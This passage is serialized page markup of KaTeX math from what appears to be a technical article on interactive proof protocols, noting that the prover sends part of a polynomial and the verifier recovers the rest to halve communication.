have:",{"type":24,"tag":25,"props":116099,"children":116100},{},[116101],{"type":24,"tag":80,"props":116102,"children":116104},{"className":116103},[9607,9608],[116105],{"type":24,"tag":147,"props":116106,"children":116108},{"className":116107},[9613],[116109],{"type":24,"tag":147,"props":116110,"children":116112},{"className":116111,"ariaHidden":9619},[9618],[116113,116139,116170,116201,116302,116328,116420],{"type":24,"tag":147,"props":116114,"children":116116},{"className":116115},[9624],[116117,116121,116126,116130,116135],{"type":24,"tag":147,"props":116118,"children":116120},{"className":116119,"style":115776},[9629],[],{"type":24,"tag":147,"props":116122,"children":116124},{"className":116123},[9635,27190],[116125],{"type":29,"value":2773},{"type":24,"tag":147,"props":116127,"children":116129},{"className":116128,"style":9715},[9714],[],{"type":24,"tag":147,"props":116131,"children":116133},{"className":116132},[9720],[116134],{"type":29,"value":624},{"type":24,"tag":147,"props":116136,"children":116138},{"className":116137,"style":9715},[9714],[],{"type":24,"tag":147,"props":116140,"children":116142},{"className":116141},[9624],[116143,116147,116152,116157,116161,116166],{"type":24,"tag":147,"props":116144,"children":116146},{"className":116145,"style":9735},[9629],[],{"type":24,"tag":147,"props":116148,"children":116150},{"className":116149},[27319],[116151],{"type":29,"value":480},{"type":24,"tag":147,"props":116153,"children":116155},{"className":116154},[9635,27190],[116156],{"type":29,"value":2773},{"type":24,"tag":147,"props":116158,"children":116160},{"className":116159,"style":9715},[9714],[],{"type":24,"tag":147,"props":116162,"children":116164},{"className":116163},[9720],[116165],{"type":29,"value":624},{"type":24,"tag":147,"props":116167,"children":116169},{"className":116168,"style":9715},[9714],[],{"type":24,"tag":147,"props":116171,"children":116173},{"className":116172},[9624],[116174,116178,116183,116188,116192,116197],{"type":24,"tag":147,"props":116175,"children":116177},{"className":116176,"style":9735},[9629],[],{"type":24,"tag":147,"props":116179,"children":116181},{"className":116180},[9635,27190],[116182],{"type":29,"value":8852},{"type":24,"tag":147,"props":116184,"children":116186},{"className":116185},[27341],[116187],{"type":29,"value":8758},{"type":24,"tag":147,"props":116189,"children":116191},{"className":116190,"style":9812},[9714],[],{"type":24,"tag":147,"props":116193,"children":116195},{"className":116194},[9817],[116196],{"type":29,"value":369},{"type":24,"tag":147,"props":116198,"children":116200},{"className":116199,"style":9812},[9714],[],{"type":24,"tag":147,"props":116202,"children":116204},{"className":116203},[9624],[116205,116209,116280,116284,116288,116294,116298],{"type":24,"tag":147,"props":116206,"children":116208},{"className":116207,"style":116021},[9629],[],{"type":24,"tag":147,"props":116210,"children":116212},{"className":116211},[9635],[116213,116218],{"type":24,"tag":147,"props":116214,"children":116216},{"className":116215,"style":98864},[9635,27190],[116217],{"type":29,"value":98867},{"type":24,"tag":147,"props":116219,"children":116221},{"className":116220},[9650],[116222],{"type":24,"tag":147,"props":116223,"children":116225},{"className":116224},[9655,27244],[116226,116269],{"type":24,"tag":147,"props":116227,"children":116229},{"className":116228},[9660],[116230,116264],{"type":24,"tag":147,"props":116231,"children":116233},{"className":116232,"style":99159},[9665],[116234],{"type":24,"tag":147,"props":116235,"children":116236},{"style":116050},[116237,116241],{"type":24,"tag":147,"props":116238,"children":116240},{"className":116239,"style":9675},[9674],[],{"type":24,"tag":147,"props":116242,"children":116244},{"className":116243},[9680,9681,9682,9683],[116245],{"type":24,"tag":147,"props":116246,"children":116248},{"className":116247},[9635,9683],[116249,116254,116259],{"type":24,"tag":147,"props":116250,"children":116252},{"className":116251},[9635,27190,9683],[116253],{"type":29,"value":9363},{"type":24,"tag":147,"props":116255,"children":116257},{"className":116256},[9720,9683],[116258],{"type":29,"value":9694},{"type":24,"tag":147,"props":116260,"children":116262},{"className":116261},[9635,9683],[116263],{"type":29,"value":1154},{"type":24,"tag":147,"props":116265,"children":116267},{"className":116266},[27347],[116268],{"type":29,"value":27350},{"type":24,"tag":147,"props":116270,"children":116272},{"className":116271},[9660],[116273],{"type":24,"tag":147,"props":116274,"children":116276},{"className":116275,"style":116091},[9665],[116277],{"type":24,"tag":147,"props":116278,"children":116279},{},[],{"type":24,"tag":147,"props":116281,"children":116283},{"className":116282,"style":9812},[9714],[],{"type":24,"tag":147,"props":116285,"children":116287},{"className":116286,"style":9812},[9714],[],{"type":24,"tag":147,"props":116289,"children":116291},{"className":116290},[9817],[116292],{"type":29,"value":116293},"⟹",{"type":24,"tag":147,"props":116295,"children":116297},{"className":116296,"style":9812},[9714],[],{"type":24,"tag":147,"props":116299,"children":116301},{"className":116300,"style":9812},[9714],[],{"type":24,"tag":147,"props":116303,"children":116305},{"className":116304},[9624],[116306,116310,116315,116319,116324],{"type":24,"tag":147,"props":116307,"children":116309},{"className":116308,"style":98545},[9629],[],{"type":24,"tag":147,"props":116311,"children":116313},{"className":116312},[9635,27190],[116314],{"type":29,"value":8852},{"type":24,"tag":147,"props":116316,"children":116318},{"className":116317,"style":9812},[9714],[],{"type":24,"tag":147,"props":116320,"children":116322},{"className":116321},[9817],[116323],{"type":29,"value":369},{"type":24,"tag":147,"props":116325,"children":116327},{"className":116326,"style":9812},[9714],[],{"type":24,"tag":147,"props":116329,"children":116331},{"className":116330},[9624],[116332,116336,116407,116411,116416],{"type":24,"tag":147,"props":116333,"children":116335},{"className":116334,"style":116021},[9629],[],{"type":24,"tag":147,"props":116337,"children":116339},{"className":116338},[9635],[116340,116345],{"type":24,"tag":147,"props":116341,"children":116343},{"className":116342,"style":98864},[9635,27190],[116344],{"type":29,"value":98867},{"type":24,"tag":147,"props":116346,"children":116348},{"className":116347},[9650],[116349],{"type":24,"tag":147,"props":116350,"children":116352},{"className":116351},[9655,27244],[116353,116396],{"type":24,"tag":147,"props":116354,"children":116356},{"className":116355},[9660],[116357,116391],{"type":24,"tag":147,"props":116358,"children":116360},{"className":116359,"style":99159},[9665],[116361],{"type":24,"tag":147,"props":116362,"children":116363},{"style":116050},[116364,116368],{"type":24,"tag":147,"props":116365,"children":116367},{"className":116366,"style":9675},[9674],[],{"type":24,"tag":147,"props":116369,"children":116371},{"className":116370},[9680,9681,9682,9683],[116372],{"type":24,"tag":147,"props":116373,"children":116375},{"className":116374},[9635,9683],[116376,116381,116386],{"type":24,"tag":147,"props":116377,"children":116379},{"className":116378},[9635,27190,9683],[116380],{"type":29,"value":9363},{"type":24,"tag":147,"props":116382,"children":116384},{"className":116383},[9720,9683],[116385],{"type":29,"value":9694},{"type":24,"tag":147,"props":116387,"children":116389},{"className":116388},[9635,9683],[116390],{"type":29,"value":1154},{"type":24,"tag":147,"props":116392,"children":116394},{"className":116393},[27347],[116395],{"type":29,"value":27350},{"type":24,"tag":147,"props":116397,"children":116399},{"className":116398},[9660],[116400],{"type":24,"tag":147,"props":116401,"children":116403},{"className":116402,"style":116091},[9665],[116404],{"type":24,"tag":147,"props":116405,"children":116406},{},[],{"type":24,"tag":147,"props":116408,"children":116410},{"className":116409,"style":9715},[9714],[],{"type":24,"tag":147,"props":116412,"children":116414},{"className":116413},[9720],[116415],{"type":29,"value":9694},{"type":24,"tag":147,"props":116417,"children":116419},{"className":116418,"style":9715},[9714],[],{"type":24,"tag":147,"props":116421,"children":116423},{"className":116422},[9624],[116424,116428,116433],{"type":24,"tag":147,"props":116425,"children":116427},{"className":116426,"style":99661},[9629],[],{"type":24,"tag":147,"props":116429,"children":116431},{"className":116430},[9635],[116432],{"type":29,"value":8753},{"type":24,"tag":147,"props":116434,"children":116436},{"className":116435},[9635,27190],[116437],{"type":29,"value":2773},{"type":24,"tag":25,"props":116439,"children":116440},{},[116441,116443,116562,116564,116589],{"type":29,"value":116442},"So the prover only sends ",{"type":24,"tag":80,"props":116444,"children":116446},{"className":116445},[9607,9608],[116447],{"type":24,"tag":147,"props":116448,"children":116450},{"className":116449},[9613],[116451],{"type":24,"tag":147,"props":116452,"children":116454},{"className":116453,"ariaHidden":9619},[9618],[116455,116482],{"type":24,"tag":147,"props":116456,"children":116458},{"className":116457},[9624],[116459,116464,116469,116473,116478],{"type":24,"tag":147,"props":116460,"children":116463},{"className":116461,"style":116462},[9629],"height:0.4306em;",[],{"type":24,"tag":147,"props":116465,"children":116467},{"className":116466},[9635,27190],[116468],{"type":29,"value":2773},{"type":24,"tag":147,"props":116470,"children":116472},{"className":116471,"style":9812},[9714],[],{"type":24,"tag":147,"props":116474,"children":116476},{"className":116475},[9817],[116477],{"type":29,"value":369},{"type":24,"tag":147,"props":116479,"children":116481},{"className":116480,"style":9812},[9714],[],{"type":24,"tag":147,"props":116483,"children":116485},{"className":116484},[9624],[116486,116490,116547,116552,116557],{"type":24,"tag":147,"props":116487,"children":116489},{"className":116488,"style":9735},[9629],[],{"type":24,"tag":147,"props":116491,"children":116493},{"className":116492},[9635],[116494,116499],{"type":24,"tag":147,"props":116495,"children":116497},{"className":116496,"style":99116},[9635,27190],[116498],{"type":29,"value":114872},{"type":24,"tag":147,"props":116500,"children":116502},{"className":116501},[9650],[116503],{"type":24,"tag":147,"props":116504,"children":116506},{"className":116505},[9655,27244],[116507,116536],{"type":24,"tag":147,"props":116508,"children":116510},{"className":116509},[9660],[116511,116531],{"type":24,"tag":147,"props":116512,"children":116514},{"className":116513,"style":99159},[9665],[116515],{"type":24,"tag":147,"props":116516,"children":116517},{"style":99163},[116518,116522],{"type":24,"tag":147,"props":116519,"children":116521},{"className":116520,"style":9675},[9674],[],{"type":24,"tag":147,"props":116523,"children":116525},{"className":116524},[9680,9681,9682,9683],[116526],{"type":24,"tag":147,"props":116527,"children":116529},{"className":116528},[9635,27190,9683],[116530],{"type":29,"value":9363},{"type":24,"tag":147,"props":116532,"children":116534},{"className":116533},[27347],[116535],{"type":29,"value":27350},{"type":24,"tag":147,"props":116537,"children":116539},{"className":116538},[9660],[116540],{"type":24,"tag":147,"props":116541,"children":116543},{"className":116542,"style":98713},[9665],[116544],{"type":24,"tag":147,"props":116545,"children":116546},{},[],{"type":24,"tag":147,"props":116548,"children":116550},{"className":116549},[27319],[116551],{"type":29,"value":480},{"type":24,"tag":147,"props":116553,"children":116555},{"className":116554},[9635],[116556],{"type":29,"value":3173},{"type":24,"tag":147,"props":116558,"children":116560},{"className":116559},[27341],[116561],{"type":29,"value":8758},{"type":29,"value":116563},", and the verifier recovers ",{"type":24,"tag":80,"props":116565,"children":116567},{"className":116566},[9607,9608],[116568],{"type":24,"tag":147,"props":116569,"children":116571},{"className":116570},[9613],[116572],{"type":24,"tag":147,"props":116573,"children":116575},{"className":116574,"ariaHidden":9619},[9618],[116576],{"type":24,"tag":147,"props":116577,"children":116579},{"className":116578},[9624],[116580,116584],{"type":24,"tag":147,"props":116581,"children":116583},{"className":116582,"style":98545},[9629],[],{"type":24,"tag":147,"props":116585,"children":116587},{"className":116586},[9635,27190],[116588],{"type":29,"value":8852},{"type":29,"value":116590},". This saves 50% on communication costs.",{"type":24,"tag":25,"props":116592,"children":116593},{},[116594],{"type":29,"value":116595},"The next claim in the chain is",{"type":24,"tag":25,"props":116597,"children":116598},{},[116599],{"type":24,"tag":80,"props":116600,"children":116602},{"className":116601},[9607,9608],[116603],{"type":24,"tag":147,"props":116604,"children":116606},{"className":116605},[9613],[116607],{"type":24,"tag":147,"props":116608,"children":116610},{"className":116609,"ariaHidden":9619},[9618],[116611,116690,116835,116861,116888,116966,116992,117089,117125,117203,117239,117327,117419],{"type":24,"tag":147,"props":116612,"children":116614},{"className":116613},[9624],[116615,116620,116677,116681,116686],{"type":24,"tag":147,"props":116616,"children":116619},{"className":116617,"style":116618},[9629],"height:0.8333em;vertical-align:-0.15em;",[],{"type":24,"tag":147,"props":116621,"children":116623},{"className":116622},[9635],[116624,116629],{"type":24,"tag":147,"props":116625,"children":116627},{"className":116626,"style":98864},[9635,27190],[116628],{"type":29,"value":98867},{"type":24,"tag":147,"props":116630,"children":116632},{"className":116631},[9650],[116633],{"type":24,"tag":147,"props":116634,"children":116636},{"className":116635},[9655,27244],[116637,116666],{"type":24,"tag":147,"props":116638,"children":116640},{"className":116639},[9660],[116641,116661],{"type":24,"tag":147,"props":116642,"children":116644},{"className":116643,"style":99159},[9665],[116645],{"type":24,"tag":147,"props":116646,"children":116647},{"style":116050},[116648,116652],{"type":24,"tag":147,"props":116649,"children":116651},{"className":116650,"style":9675},[9674],[],{"type":24,"tag":147,"props":116653,"children":116655},{"className":116654},[9680,9681,9682,9683],[116656],{"type":24,"tag":147,"props":116657,"children":116659},{"className":116658},[9635,27190,9683],[116660],{"type":29,"value":9363},{"type":24,"tag":147,"props":116662,"children":116664},{"className":116663},[27347],[116665],{"type":29,"value":27350},{"type":24,"tag":147,"props":116667,"children":116669},{"className":116668},[9660],[116670],{"type":24,"tag":147,"props":116671,"children":116673},{"className":116672,"style":98713},[9665],[116674],{"type":24,"tag":147,"props":116675,"children":116676},{},[],{"type":24,"tag":147,"props":116678,"children":116680},{"className":116679,"style":9812},[9714],[],{"type":24,"tag":147,"props":116682,"children":116684},{"className":116683},[9817],[116685],{"type":29,"value":369},{"type":24,"tag":147,"props":116687,"children":116689},{"className":116688,"style":9812},[9714],[],{"type":24,"tag":147,"props":116691,"children":116693},{"className":116692},[9624],[116694,116698,116755,116760,116817,116822,116826,116831],{"type":24,"tag":147,"props":116695,"children":116697},{"className":116696,"style":9735},[9629],[],{"type":24,"tag":147,"props":116699,"children":116701},{"className":116700},[9635],[116702,116707],{"type":24,"tag":147,"props":116703,"children":116705},{"className":116704,"style":99116},[9635,27190],[116706],{"type":29,"value":114872},{"type":24,"tag":147,"props":116708,"children":116710},{"className":116709},[9650],[116711],{"type":24,"tag":147,"props":116712,"children":116714},{"className":116713},[9655,27244],[116715,116744],{"type":24,"tag":147,"props":116716,"children":116718},{"className":116717},[9660],[116719,116739],{"type":24,"tag":147,"props":116720,"children":116722},{"className":116721,"style":99159},[9665],[116723],{"type":24,"tag":147,"props":116724,"children":116725},{"style":99163},[116726,116730],{"type":24,"tag":147,"props":116727,"children":116729},{"className":116728,"style":9675},[9674],[],{"type":24,"tag":147,"props":116731,"children":116733},{"className":116732},[9680,9681,9682,9683],[116734],{"type":24,"tag":147,"props":116735,"children":116737},{"className":116736},[9635,27190,9683],[116738],{"type":29,"value":9363},{"type":24,"tag":147,"props":116740,"children":116742},{"className":116741},[27347],[116743],{"type":29,"value":27350},{"type":24,"tag":147,"props":116745,"children":116747},{"className":116746},[9660],[116748],{"type":24,"tag":147,"props":116749,"children":116751},{"className":116750,"style":98713},[9665],[116752],{"type":24,"tag":147,"props":116753,"children":116754},{},[],{"type":24,"tag":147,"props":116756,"children":116758},{"className":116757},[27319],[116759],{"type":29,"value":480},{"type":24,"tag":147,"props":116761,"children":116763},{"className":116762},[9635],[116764,116769],{"type":24,"tag":147,"props":116765,"children":116767},{"className":116766,"style":98630},[9635,27190],[116768],{"type":29,"value":99449},{"type":24,"tag":147,"props":116770,"children":116772},{"className":116771},[9650],[116773],{"type":24,"tag":147,"props":116774,"children":116776},{"className":116775},[9655,27244],[116777,116806],{"type":24,"tag":147,"props":116778,"children":116780},{"className":116779},[9660],[116781,116801],{"type":24,"tag":147,"props":116782,"children":116784},{"className":116783,"style":99159},[9665],[116785],{"type":24,"tag":147,"props":116786,"children":116787},{"style":115620},[116788,116792],{"type":24,"tag":147,"props":116789,"children":116791},{"className":116790,"style":9675},[9674],[],{"type":24,"tag":147,"props":116793,"children":116795},{"className":116794},[9680,9681,9682,9683],[116796],{"type":24,"tag":147,"props":116797,"children":116799},{"className":116798},[9635,27190,9683],[116800],{"type":29,"value":9363},{"type":24,"tag":147,"props":116802,"children":116804},{"className":116803},[27347],[116805],{"type":29,"value":27350},{"type":24,"tag":147,"props":116807,"children":116809},{"className":116808},[9660],[116810],{"type":24,"tag":147,"props":116811,"children":116813},{"className":116812,"style":98713},[9665],[116814],{"type":24,"tag":147,"props":116815,"children":116816},{},[],{"type":24,"tag":147,"props":116818,"children":116820},{"className":116819},[27341],[116821],{"type":29,"value":8758},{"type":24,"tag":147,"props":116823,"children":116825},{"className":116824,"style":9812},[9714],[],{"type":24,"tag":147,"props":116827,"children":116829},{"className":116828},[9817],[116830],{"type":29,"value":369},{"type":24,"tag":147,"props":116832,"children":116834},{"className":116833,"style":9812},[9714],[],{"type":24,"tag":147,"props":116836,"children":116838},{"className":116837},[9624],[116839,116843,116848,116852,116857],{"type":24,"tag":147,"props":116840,"children":116842},{"className":116841,"style":115776},[9629],[],{"type":24,"tag":147,"props":116844,"children":116846},{"className":116845},[9635,27190],[116847],{"type":29,"value":2773},{"type":24,"tag":147,"props":116849,"children":116851},{"className":116850,"style":9715},[9714],[],{"type":24,"tag":147,"props":116853,"children":116855},{"className":116854},[9720],[116856],{"type":29,"value":624},{"type":24,"tag":147,"props":116858,"children":116860},{"className":116859,"style":9715},[9714],[],{"type":24,"tag":147,"props":116862,"children":116864},{"className":116863},[9624],[116865,116869,116874,116878,116884],{"type":24,"tag":147,"props":116866,"children":116868},{"className":116867,"style":98545},[9629],[],{"type":24,"tag":147,"props":116870,"children":116872},{"className":116871},[9635,27190],[116873],{"type":29,"value":8852},{"type":24,"tag":147,"props":116875,"children":116877},{"className":116876,"style":9715},[9714],[],{"type":24,"tag":147,"props":116879,"children":116881},{"className":116880},[9720],[116882],{"type":29,"value":116883},"⋅",{"type":24,"tag":147,"props":116885,"children":116887},{"className":116886,"style":9715},[9714],[],{"type":24,"tag":147,"props":116889,"children":116891},{"className":116890},[9624],[116892,116896,116953,116957,116962],{"type":24,"tag":147,"props":116893,"children":116895},{"className":116894,"style":115591},[9629],[],{"type":24,"tag":147,"props":116897,"children":116899},{"className":116898},[9635],[116900,116905],{"type":24,"tag":147,"props":116901,"children":116903},{"className":116902,"style":98630},[9635,27190],[116904],{"type":29,"value":99449},{"type":24,"tag":147,"props":116906,"children":116908},{"className":116907},[9650],[116909],{"type":24,"tag":147,"props":116910,"children":116912},{"className":116911},[9655,27244],[116913,116942],{"type":24,"tag":147,"props":116914,"children":116916},{"className":116915},[9660],[116917,116937],{"type":24,"tag":147,"props":116918,"children":116920},{"className":116919,"style":99159},[9665],[116921],{"type":24,"tag":147,"props":116922,"children":116923},{"style":115620},[116924,116928],{"type":24,"tag":147,"props":116925,"children":116927},{"className":116926,"style":9675},[9674],[],{"type":24,"tag":147,"props":116929,"children":116931},{"className":116930},[9680,9681,9682,9683],[116932],{"type":24,"tag":147,"props":116933,"children":116935},{"className":116934},[9635,27190,9683],[116936],{"type":29,"value":9363},{"type":24,"tag":147,"props":116938,"children":116940},{"className":116939},[27347],[116941],{"type":29,"value":27350},{"type":24,"tag":147,"props":116943,"children":116945},{"className":116944},[9660],[116946],{"type":24,"tag":147,"props":116947,"children":116949},{"className":116948,"style":98713},[9665],[116950],{"type":24,"tag":147,"props":116951,"children":116952},{},[],{"type":24,"tag":147,"props":116954,"children":116956},{"className":116955,"style":9812},[9714],[],{"type":24,"tag":147,"props":116958,"children":116960},{"className":116959},[9817],[116961],{"type":29,"value":369},{"type":24,"tag":147,"props":116963,"children":116965},{"className":116964,"style":9812},[9714],[],{"type":24,"tag":147,"props":116967,"children":116969},{"className":116968},[9624],[116970,116974,116979,116983,116988],{"type":24,"tag":147,"props":116971,"children":116973},{"className":116972,"style":115776},[9629],[],{"type":24,"tag":147,"props":116975,"children":116977},{"className":116976},[9635,27190],[116978],{"type":29,"value":2773},{"type":24,"tag":147,"props":116980,"children":116982},{"className":116981,"style":9715},[9714],[],{"type":24,"tag":147,"props":116984,"children":116986},{"className":116985},[9720],[116987],{"type":29,"value":624},{"type":24,"tag":147,"props":116989,"children":116991},{"className":116990,"style":9715},[9714],[],{"type":24,"tag":147,"props":116993,"children":116995},{"className":116994},[9624],[116996,117000,117005,117076,117080,117085],{"type":24,"tag":147,"props":116997,"children":116999},{"className":116998,"style":9735},[9629],[],{"type":24,"tag":147,"props":117001,"children":117003},{"className":117002},[27319],[117004],{"type":29,"value":480},{"type":24,"tag":147,"props":117006,"children":117008},{"className":117007},[9635],[117009,117014],{"type":24,"tag":147,"props":117010,"children":117012},{"className":117011,"style":98864},[9635,27190],[117013],{"type":29,"value":98867},{"type":24,"tag":147,"props":117015,"children":117017},{"className":117016},[9650],[117018],{"type":24,"tag":147,"props":117019,"children":117021},{"className":117020},[9655,27244],[117022,117065],{"type":24,"tag":147,"props":117023,"children":117025},{"className":117024},[9660],[117026,117060],{"type":24,"tag":147,"props":117027,"children":117029},{"className":117028,"style":99159},[9665],[117030],{"type":24,"tag":147,"props":117031,"children":117032},{"style":116050},[117033,117037],{"type":24,"tag":147,"props":117034,"children":117036},{"className":117035,"style":9675},[9674],[],{"type":24,"tag":147,"props":117038,"children":117040},{"className":117039},[9680,9681,9682,9683],[117041],{"type":24,"tag":147,"props":117042,"children":117044},{"className":117043},[9635,9683],[117045,117050,117055],{"type":24,"tag":147,"props":117046,"children":117048},{"className":117047},[9635,27190,9683],[117049],{"type":29,"value":9363},{"type":24,"tag":147,"props":117051,"children":117053},{"className":117052},[9720,9683],[117054],{"type":29,"value":9694},{"type":24,"tag":147,"props":117056,"children":117058},{"className":117057},[9635,9683],[117059],{"type":29,"value":1154},{"type":24,"tag":147,"props":117061,"children":117063},{"className":117062},[27347],[117064],{"type":29,"value":27350},{"type":24,"tag":147,"props":117066,"children":117068},{"className":117067},[9660],[117069],{"type":24,"tag":147,"props":117070,"children":117072},{"className":117071,"style":116091},[9665],[117073],{"type":24,"tag":147,"props":117074,"children":117075},{},[],{"type":24,"tag":147,"props":117077,"children":117079},{"className":117078,"style":9715},[9714],[],{"type":24,"tag":147,"props":117081,"children":117083},{"className":117082},[9720],[117084],{"type":29,"value":9694},{"type":24,"tag":147,"props":117086,"children":117088},{"className":117087,"style":9715},[9714],[],{"type":24,"tag":147,"props":117090,"children":117092},{"className":117091},[9624],[117093,117097,117102,117107,117112,117116,117121],{"type":24,"tag":147,"props":117094,"children":117096},{"className":117095,"style":9735},[9629],[],{"type":24,"tag":147,"props":117098,"children":117100},{"className":117099},[9635],[117101],{"type":29,"value":8753},{"type":24,"tag":147,"props":117103,"children":117105},{"className":117104},[9635,27190],[117106],{"type":29,"value":2773},{"type":24,"tag":147,"props":117108,"children":117110},{"className":117109},[27341],[117111],{"type":29,"value":8758},{"type":24,"tag":147,"props":117113,"children":117115},{"className":117114,"style":9715},[9714],[],{"type":24,"tag":147,"props":117117,"children":117119},{"className":117118},[9720],[117120],{"type":29,"value":116883},{"type":24,"tag":147,"props":117122,"children":117124},{"className":117123,"style":9715},[9714],[],{"type":24,"tag":147,"props":117126,"children":117128},{"className":117127},[9624],[117129,117133,117190,117194,117199],{"type":24,"tag":147,"props":117130,"children":117132},{"className":117131,"style":115591},[9629],[],{"type":24,"tag":147,"props":117134,"children":117136},{"className":117135},[9635],[117137,117142],{"type":24,"tag":147,"props":117138,"children":117140},{"className":117139,"style":98630},[9635,27190],[117141],{"type":29,"value":99449},{"type":24,"tag":147,"props":117143,"children":117145},{"className":117144},[9650],[117146],{"type":24,"tag":147,"props":117147,"children":117149},{"className":117148},[9655,27244],[117150,117179],{"type":24,"tag":147,"props":117151,"children":117153},{"className":117152},[9660],[117154,117174],{"type":24,"tag":147,"props":117155,"children":117157},{"className":117156,"style":99159},[9665],[117158],{"type":24,"tag":147,"props":117159,"children":117160},{"style":115620},[117161,117165],{"type":24,"tag":147,"props":117162,"children":117164},{"className":117163,"style":9675},[9674],[],{"type":24,"tag":147,"props":117166,"children":117168},{"className":117167},[9680,9681,9682,9683],[117169],{"type":24,"tag":147,"props":117170,"children":117172},{"className":117171},[9635,27190,9683],[117173],{"type":29,"value":9363},{"type":24,"tag":147,"props":117175,"children":117177},{"className":117176},[27347],[117178],{"type":29,"value":27350},{"type":24,"tag":147,"props":117180,"children":117182},{"className":117181},[9660],[117183],{"type":24,"tag":147,"props":117184,"children":117186},{"className":117185,"style":98713},[9665],[117187],{"type":24,"tag":147,"props":117188,"children":117189},{},[],{"type":24,"tag":147,"props":117191,"children":117193},{"className":117192,"style":9812},[9714],[],{"type":24,"tag":147,"props":117195,"children":117197},{"className":117196},[9817],[117198],{"type":29,"value":369},{"type":24,"tag":147,"props":117200,"children":117202},{"className":117201,"style":9812},[9714],[],{"type":24,"tag":147,"props":117204,"children":117206},{"className":117205},[9624],[117207,117211,117216,117221,117226,117230,117235],{"type":24,"tag":147,"props":117208,"children":117210},{"className":117209,"style":9735},[9629],[],{"type":24,"tag":147,"props":117212,"children":117214},{"className":117213},[9635,27190],[117215],{"type":29,"value":2773},{"type":24,"tag":147,"props":117217,"children":117219},{"className":117218},[27319],[117220],{"type":29,"value":480},{"type":24,"tag":147,"props":117222,"children":117224},{"className":117223},[9635],[117225],{"type":29,"value":1154},{"type":24,"tag":147,"props":117227,"children":117229},{"className":117228,"style":9715},[9714],[],{"type":24,"tag":147,"props":117231,"children":117233},{"className":117232},[9720],[117234],{"type":29,"value":9694},{"type":24,"tag":147,"props":117236,"children":117238},{"className":117237,"style":9715},[9714],[],{"type":24,"tag":147,"props":117240,"children":117242},{"className":117241},[9624],[117243,117247,117252,117309,117314,117318,117323],{"type":24,"tag":147,"props":117244,"children":117246},{"className":117245,"style":9735},[9629],[],{"type":24,"tag":147,"props":117248,"children":117250},{"className":117249},[9635],[117251],{"type":29,"value":8753},{"type":24,"tag":147,"props":117253,"children":117255},{"className":117254},[9635],[117256,117261],{"type":24,"tag":147,"props":117257,"children":117259},{"className":117258,"style":98630},[9635,27190],[117260],{"type":29,"value":99449},{"type":24,"tag":147,"props":117262,"children":117264},{"className":117263},[9650],[117265],{"type":24,"tag":147,"props":117266,"children":117268},{"className":117267},[9655,27244],[117269,117298],{"type":24,"tag":147,"props":117270,"children":117272},{"className":117271},[9660],[117273,117293],{"type":24,"tag":147,"props":117274,"children":117276},{"className":117275,"style":99159},[9665],[117277],{"type":24,"tag":147,"props":117278,"children":117279},{"style":115620},[117280,117284],{"type":24,"tag":147,"props":117281,"children":117283},{"className":117282,"style":9675},[9674],[],{"type":24,"tag":147,"props":117285,"children":117287},{"className":117286},[9680,9681,9682,9683],[117288],{"type":24,"tag":147,"props":117289,"children":117291},{"className":117290},[9635,27190,9683],[117292],{"type":29,"value":9363},{"type":24,"tag":147,"props":117294,"children":117296},{"className":117295},[27347],[117297],{"type":29,"value":27350},{"type":24,"tag":147,"props":117299,"children":117301},{"className":117300},[9660],[117302],{"type":24,"tag":147,"props":117303,"children":117305},{"className":117304,"style":98713},[9665],[117306],{"type":24,"tag":147,"props":117307,"children":117308},{},[],{"type":24,"tag":147,"props":117310,"children":117312},{"className":117311},[27341],[117313],{"type":29,"value":8758},{"type":24,"tag":147,"props":117315,"children":117317},{"className":117316,"style":9715},[9714],[],{"type":24,"tag":147,"props":117319,"children":117321},{"className":117320},[9720],[117322],{"type":29,"value":624},{"type":24,"tag":147,"props":117324,"children":117326},{"className":117325,"style":9715},[9714],[],{"type":24,"tag":147,"props":117328,"children":117330},{"className":117329},[9624],[117331,117335,117406,117410,117415],{"type":24,"tag":147,"props":117332,"children":117334},{"className":117333,"style":116021},[9629],[],{"type":24,"tag":147,"props":117336,"children":117338},{"className":117337},[9635],[117339,117344],{"type":24,"tag":147,"props":117340,"children":117342},{"className":117341,"style":98864},[9635,27190],[117343],{"type":29,"value":98867},{"type":24,"tag":147,"props":117345,"children":117347},{"className":117346},[9650],[117348],{"type":24,"tag":147,"props":117349,"children":117351},{"className":117350},[9655,27244],[117352,117395],{"type":24,"tag":147,"props":117353,"children":117355},{"className":117354},[9660],[117356,117390],{"type":24,"tag":147,"props":117357,"children":117359},{"className":117358,"style":99159},[9665],[117360],{"type":24,"tag":147,"props":117361,"children":117362},{"style":116050},[117363,117367],{"type":24,"tag":147,"props":117364,"children":117366},{"className":117365,"style":9675},[9674],[],{"type":24,"tag":147,"props":117368,"children":117370},{"className":117369},[9680,9681,9682,9683],[117371],{"type":24,"tag":147,"props":117372,"children":117374},{"className":117373},[9635,9683],[117375,117380,117385],{"type":24,"tag":147,"props":117376,"children":117378},{"className":117377},[9635,27190,9683],[117379],{"type":29,"value":9363},{"type":24,"tag":147,"props":117381,"children":117383},{"className":117382},[9720,9683],[117384],{"type":29,"value":9694},{"type":24,"tag":147,"props":117386,"children":117388},{"className":117387},[9635,9683],[117389],{"type":29,"value":1154},{"type":24,"tag":147,"props":117391,"children":117393},{"className":117392},[27347],[117394],{"type":29,"value":27350},{"type":24,"tag":147,"props":117396,"children":117398},{"className":117397},[9660],[117399],{"type":24,"tag":147,"props":117400,"children":117402},{"className":117401,"style":116091},[9665],[117403],{"type":24,"tag":147,"props":117404,"children":117405},{},[],{"type":24,"tag":147,"props":117407,"children":117409},{"className":117408,"style":9715},[9714],[],{"type":24,"tag":147,"props":117411,"children":117413},{"className":117412},[9720],[117414],{"type":29,"value":116883},{"type":24,"tag":147,"props":117416,"children":117418},{"className":117417,"style":9715},[9714],[],{"type":24,"tag":147,"props":117420,"children":117422},{"className":117421},[9624],[117423,117427],{"type":24,"tag":147,"props":117424,"children":117426},{"className":117425,"style":115591},[9629],[],{"type":24,"tag":147,"props":117428,"children":117430},{"className":117429},[9635],[117431,117436],{"type":24,"tag":147,"props":117432,"children":117434},{"className":117433,"style":98630},[9635,27190],[117435],{"type":29,"value":99449},{"type":24,"tag":147,"props":117437,"children":117439},{"className":117438},[9650],[117440],{"type":24,"tag":147,"props":117441,"children":117443},{"className":117442},[9655,27244],[117444,117473],{"type":24,"tag":147,"props":117445,"children":117447},{"className":117446},[9660],[117448,117468],{"type":24,"tag":147,"props":117449,"children":117451},{"className":117450,"style":99159},[9665],[117452],{"type":24,"tag":147,"props":117453,"children":117454},{"style":115620},[117455,117459],{"type":24,"tag":147,"props":117456,"children":117458},{"className":117457,"style":9675},[9674],[],{"type":24,"tag":147,"props":117460,"children":117462},{"className":117461},[9680,9681,9682,9683],[117463],{"type":24,"tag":147,"pr